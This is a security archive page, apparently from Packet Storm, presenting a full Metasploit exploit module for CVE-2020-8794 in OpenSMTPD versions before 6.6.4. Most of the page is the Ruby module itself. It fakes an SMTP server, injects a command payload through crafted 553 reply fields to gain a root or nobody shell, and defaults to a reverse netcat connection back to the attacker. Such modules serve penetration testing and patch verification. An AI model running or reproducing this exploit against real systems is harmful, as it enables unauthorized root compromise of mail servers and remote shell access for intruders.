what you don't know can hurt you

OpenSMTPD Out-Of-Bounds Read / Local Privilege Escalation

OpenSMTPD Out-Of-Bounds Read / Local Privilege Escalation
Posted Mar 5, 2020
Authored by wvu, Qualys Security Advisory | Site metasploit.com

This Metasploit module exploits an out-of-bounds read of an attacker-controlled string in OpenSMTPD's MTA implementation to execute a command as the root or nobody user, depending on the kind of grammar OpenSMTPD uses.

tags | exploit, root
advisories | CVE-2020-8794
MD5 | 229752794172ef51ce4a73f8eb7d3948

OpenSMTPD Out-Of-Bounds Read / Local Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

# smtpd(8) may crash on a malformed message
Rank = AverageRanking

include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Expect

def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',
'Description' => %q{
This module exploits an out-of-bounds read of an attacker-controlled
string in OpenSMTPD's MTA implementation to execute a command as the
root or nobody user, depending on the kind of grammar OpenSMTPD uses.
},
'Author' => [
'Qualys', # Discovery and PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-8794'],
['URL', 'https://seclists.org/oss-sec/2020/q1/96']
],
'DisclosureDate' => '2020-02-24',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true, # NOTE: Only when exploiting new grammar
# Patched in 6.6.4: https://www.opensmtpd.org/security.html
# New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546
'Targets' => [
['OpenSMTPD < 6.6.4 (automatic grammar selection)',
patched_version: Gem::Version.new('6.6.4'),
new_grammar_version: Gem::Version.new('6.4.0')
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SRVPORT' => 25,
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'WfsDelay' => 60 # May take a little while for mail to process
},
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))

register_advanced_options([
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
])

# HACK: We need to run check in order to determine a grammar to use
options.remove_option('AutoCheck')
end

def srvhost_addr
Rex::Socket.source_address(session.session_host)
end

def rcpt_to
"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
end

def check
smtpd_help = cmd_exec('smtpd -h')

if smtpd_help.empty?
return CheckCode::Unknown('smtpd(8) help could not be displayed')
end

version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first

unless version
return CheckCode::Unknown('OpenSMTPD version could not be found')
end

version = Gem::Version.new(version)

if version < target[:patched_version]
if version >= target[:new_grammar_version]
vprint_status("OpenSMTPD #{version} is using new grammar")
@grammar = :new
else
vprint_status("OpenSMTPD #{version} is using old grammar")
@grammar = :old
end

return CheckCode::Appears(
"OpenSMTPD #{version} appears vulnerable to CVE-2020-8794"
)
end

CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794")
end

def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super

start_service

sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"

print_status("Executing local sendmail(8) command: #{sendmail}")
if cmd_exec(sendmail) != 'true'
fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
end
end

def on_client_connect(client)
print_status("Client #{client.peerhost}:#{client.peerport} connected")

# Brilliant work, Qualys!
case @grammar
when :new
print_status('Exploiting new OpenSMTPD grammar for a root shell')

yeet = <<~EOF
553-
553

dispatcher: local_mail
type: mda
mda-user: root
mda-exec: #{payload.encoded}; exit 0\x00
EOF
when :old
print_status('Exploiting old OpenSMTPD grammar for a nobody shell')

yeet = <<~EOF
553-
553

type: mda
mda-method: mda
mda-usertable: <getpwnam>
mda-user: nobody
mda-buffer: #{payload.encoded}; exit 0\x00
EOF
else
fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')
end

sploit = {
'220' => /EHLO /,
'250' => /MAIL FROM:<[^>]/,
yeet => nil
}

print_status('Faking SMTP server and sending exploit')
sploit.each do |line, pattern|
send_expect(
line,
pattern,
sock: client,
newline: "\r\n",
timeout: datastore['ExpectTimeout']
)
end
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
ensure
print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
client.close
end

def on_client_close(client)
print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
end

end
Login or Register to add favorites

File Archive:

December 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    18 Files
  • 2
    Dec 2nd
    11 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close